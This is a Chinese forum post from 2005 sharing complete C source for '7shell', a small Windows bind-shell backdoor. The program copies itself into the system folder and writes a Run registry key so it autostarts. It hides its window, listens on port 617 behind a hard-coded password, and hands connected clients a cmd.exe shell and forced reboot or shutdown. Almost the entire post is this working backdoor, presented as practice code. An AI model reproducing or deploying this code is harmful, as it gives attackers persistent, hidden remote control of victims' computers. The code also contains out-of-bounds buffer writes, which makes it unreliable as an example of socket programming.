| [这个贴子最后由x86在 2005/10/06 00:49am 第 1 次编辑]
一个简单的 win32 bind shell
socket 编程练手作品
运行后绑定主机的617端口
客户端推荐使用nc
如果用telnet
格式会比较乱
预设的密码是chris7
写注册表run键实现自启动
在win2k+sp4以及winxp+sp2环境下
初步测试
运行稳定
主要功能：
１．得到系统的一个cmdshell
２．重启或者关闭系统
本来还有些功能的
但偶觉得代码写的不好
就删去了
稍后发布更新版本
这个版本没有使用多线程
所以只能接受一个连接
下一个版本里也会改进
/***************************************************
Welcome to 7shell V0.1
Just a simple bind shell
Code by chris7
Finished at 2005-8-23
Email: technevol@163.com
Blog: chris7.blogchina.com
****************************************************/
#include
#pragma comment(lib,"Ws2_32")
//一些linker选项以缩小生成文件的体积
//偶机器上生成的可执行文件为3.5K
#pragma comment(linker,"/ENTRY:main")
#pragma comment(linker,"/subsystem:windows")
#pragma comment(linker,"/ALIGN:512")
#pragma comment(linker,"/SECTION:.text,REW")
#pragma comment(linker,"/MERGE:.data=.text")
#pragma comment(linker,"/MERGE:.rdata=.text")
SOCKET clientFD;
char del[]="\10";
char password[]="chris7";
char helpmess[]=
"? --get help"
"\nshell --get remote cmd shell"
"\nreboot --reboot remote computer"
"\nshutdown --shutdown remote computer"
"\nquit --quit, can connect again"
"\nexitshell --backdoor exit\n";
int main(){
//autorun
char ExeFile[MAX_PATH];
char TempPath[MAX_PATH];
GetModuleFileName(NULL,ExeFile,MAX_PATH);//获取当前执行的文件地址
GetSystemDirectory(TempPath,MAX_PATH);//获取系统路径
strcat(TempPath,"\\7shell.exe");
CopyFile(ExeFile,TempPath,FALSE);//copy到系统文件夹下
HKEY key;
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,KEY_ALL_ACCESS,&key)==ERROR_SUCCESS){
RegSetValueEx(key,"7shell",0,REG_SZ,(BYTE *)TempPath,lstrlen(TempPath));//写注册表设置开机启动
RegCloseKey(key);
}
WSADATA ws;
SOCKET listenFD;
char Buff[256],cmd[256];
unsigned long lBytesRead;
WSAStartup(MAKEWORD(2,2),&ws);
listenFD=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
//创建listen套接字
struct sockaddr_in server;
server.sin_family=AF_INET;
server.sin_port=htons(617);//指定服务端口
server.sin_addr.s_addr=ADDR_ANY;
bind(listenFD,(sockaddr *)&server,sizeof(server));//将listen套接字和地址绑定
listen(listenFD,2);
int iAddrSize=sizeof(server);
wait:
clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
//check password
send(clientFD,"Password:",sizeof("Password:"),0);
lBytesRead=0;
while(lBytesRead<256){
if(recv(clientFD,Buff,1,0)==SOCKET_ERROR){
closesocket(clientFD);
goto wait;
}
cmd[lBytesRead]=Buff[0];
if(Buff[0]==0xa||Buff[0]==0xd){
cmd[lBytesRead]=0;
break;
}
lBytesRead++;
cmd[256]=';\0';;
}
if(strcmp(cmd,password)!=0){
closesocket(clientFD);
goto wait;
}
int infosize=sizeof("Welcome to 7shell! Type ? to get help.\n");
send(clientFD,"Welcome to 7shell! Type ? to get help.\n\10",infosize+1,0);
send(clientFD,del,1,0);
send(clientFD,"7shell>",sizeof("7shell>"),0);
while(1){
ZeroMemory(cmd,256);
lBytesRead=0;
while(lBytesRead<256){
if(recv(clientFD,Buff,1,0)==SOCKET_ERROR){
closesocket(clientFD);
goto wait;
}
cmd[lBytesRead]=Buff[0];
if(Buff[0]==0xa||Buff[0]==0xd){
cmd[lBytesRead]=0;
break;}
lBytesRead++;
cmd[256]=';\0';;
}
//check cmd
if(strcmp(cmd,"?")==0){
send(clientFD,helpmess,sizeof(helpmess),0);
send(clientFD,del,1,0);
}
else if(strcmp(cmd,"shell")==0){
STARTUPINFO si;//定义一个结构体设置程序启动的参数
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;//隐藏窗口
si.hStdInput=si.hStdOutput=si.hStdError=(void *)clientFD;
//把程序的输入输出句柄定义到那个套接字
PROCESS_INFORMATION ProcessInformation;
if(!CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation)){
send(clientFD,"Fail!\n",sizeof("Fail!\n"),0);
send(clientFD,del,1,0);
}//创建新进程
WaitForSingleObject(ProcessInformation.hProcess,INFINITE);
//等待程序被结束的信号 ,在客户端的exit
TerminateProcess(ProcessInformation.hProcess,0);//结束进程
CloseHandle(ProcessInformation.hProcess);
}
else if(strcmp(cmd,"reboot")==0){
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)){
send(clientFD,"Fail!",sizeof("Fail!"),0);
send(clientFD,del,1,0);
}//获取当前进程句柄
else{
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount=1;
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);//升级进程权限
if(GetLastError()!=ERROR_SUCCESS){
send(clientFD,"Fail!",sizeof("Fail!"),0);
send(clientFD,del,1,0);
}
else if(!ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0)){
send(clientFD,"Fail!",sizeof("Fail!"),0);
send(clientFD,del,1,0);//关闭系统
}
else{
send(clientFD,"Success!",sizeof("Success"),0);
send(clientFD,del,1,0);
}
}
}
else if(strcmp(cmd,"shutdown")==0){
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)){
send(clientFD,"Fail!",sizeof("Fail!"),0);
send(clientFD,del,1,0);
}
else{
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount=1;
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);
if(GetLastError() != ERROR_SUCCESS){
send(clientFD,"Fail!",sizeof("Fail!"),0);
send(clientFD,del,1,0);
}
else if(!ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0)){
send(clientFD,"Fail!",sizeof("Fail!"),0);
send(clientFD,del,1,0);
}
else{
send(clientFD,"Success!",sizeof("Success!"),0);
send(clientFD,del,1,0);
}
}
}
else if(strcmp(cmd,"quit")==0){
send(clientFD,"Success!",sizeof("Success!"),0);
closesocket(clientFD);
goto wait;
}
else if(strcmp(cmd,"exitshell")==0){
send(clientFD,"Success!",sizeof("Success!"),0);
closesocket(clientFD);
closesocket(listenFD);
goto end;
}
else if(strlen(cmd)){
send(clientFD,"Bad command! See help:\n",sizeof("Bad command! See help:\n"),0);
send(clientFD,helpmess,sizeof(helpmess),0);
send(clientFD,del,1,0);
}
else
;
send(clientFD,"7shell>",sizeof("7shell>"),0);
}
end:
return 0;
} |
